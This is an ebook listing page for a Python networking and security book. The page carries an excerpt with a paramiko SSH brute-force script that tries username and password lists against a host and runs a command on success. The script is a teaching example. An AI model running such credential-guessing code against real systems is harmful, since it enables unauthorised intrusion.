Mastering Python for Networking and Security by José Manuel Ortega
Author:José Manuel Ortega
Language: eng
Format: epub, mobi
Tags: COM043050 - COMPUTERS / Security / Networking, COM051360 - COMPUTERS / Programming Languages / Python, COM053000 - COMPUTERS / Security / General
Publisher: Packt Publishing
Published: 2018-09-28T06:08:54+00:00
class SSHConnection:
def __init__(self):
#ssh connection with paramiko library
self.ssh = paramiko.SSHClient()
def ssh_connect(self,ip,user,password,code=0):
self.ssh.load_system_host_keys()
self.ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
print("[*] Testing user and password from dictionary")
print("[*] User: %s" %(user))
print("[*] Pass :%s" %(password))
try:
self.ssh.connect(ip,port=22,username=user,password=password,timeout=5)
except paramiko.AuthenticationException:
code = 1
except socket.error as e:
code = 2
self.ssh.close()
return code
For the brute-force process, we can define one function that iterates over users' and passwords' files and tries to establish a connection with the ssh for each combination:
def startSSHBruteForce(self,host):
try:
#open files dictionary
users_file = open("users.txt")
passwords_file = open("passwords.txt")
for user in users_file.readlines():
for password in passwords_file.readlines():
user_text = user.strip("\n")
password_text = password.strip("\n")
try:
#check connection with user and password
response = self.ssh_connect(host,user_text,password_text)
if response == 0:
print("[*] User: %s [*] Pass Found:%s" %(user_text,password_text))
stdin,stdout,stderr = self.ssh.exec_command("ifconfig")
for line in stdout.readlines():
print(line.strip())
sys.exit(0)
elif response == 1:
print("[*]Login incorrect")
elif response == 2:
print("[*] Connection could not be established to %s" %(host))
sys.exit(2)
except Exception as e:
print("Error ssh connection")
pass
#close files
users_file.close()
passwords_file.close()
except Exception as e:
print("users.txt /passwords.txt Not found")
pass
Download
Mastering Python for Networking and Security by José Manuel Ortega.mobi
This site does not store any files on its server. We only index and link to content provided by other sites. Please contact the content providers to delete copyright contents if any and email us, we'll remove relevant links or contents immediately.
Sass and Compass in Action by Wynn Netherland Nathan Weizenbaum Chris Eppstein Brandon Mathis(7563)
Grails in Action by Glen Smith Peter Ledbrook(7460)
Kotlin in Action by Dmitry Jemerov(4821)
Configuring Windows Server Hybrid Advanced Services Exam Ref AZ-801 by Chris Gill(4569)
Azure Containers Explained by Wesley Haakman & Richard Hooper(4474)
Management Strategies for the Cloud Revolution: How Cloud Computing Is Transforming Business and Why You Can't Afford to Be Left Behind by Charles Babcock(4259)
Running Windows Containers on AWS by Marcio Morales(4001)
Microsoft 365 Identity and Services Exam Guide MS-100 by Aaron Guilmette(3799)
The Age of Surveillance Capitalism by Shoshana Zuboff(3620)
Combating Crime on the Dark Web by Nearchos Nearchou(3378)
Learn Windows PowerShell in a Month of Lunches by Don Jones(3343)
Mastering Azure Security by Mustafa Toroman and Tom Janetscheck(3133)
Mastering Python for Networking and Security by José Manuel Ortega(3124)
Blockchain Basics by Daniel Drescher(3051)
The Ruby Workshop by Akshat Paul Peter Philips Dániel Szabó and Cheyne Wallace(3035)
TCP IP by Todd Lammle(2779)
Microsoft Cybersecurity Architect Exam Ref SC-100 by Dwayne Natwick(2643)
Python for Security and Networking - Third Edition by José Manuel Ortega(2605)
From CIA to APT: An Introduction to Cyber Security by Edward G. Amoroso & Matthew E. Amoroso(2598)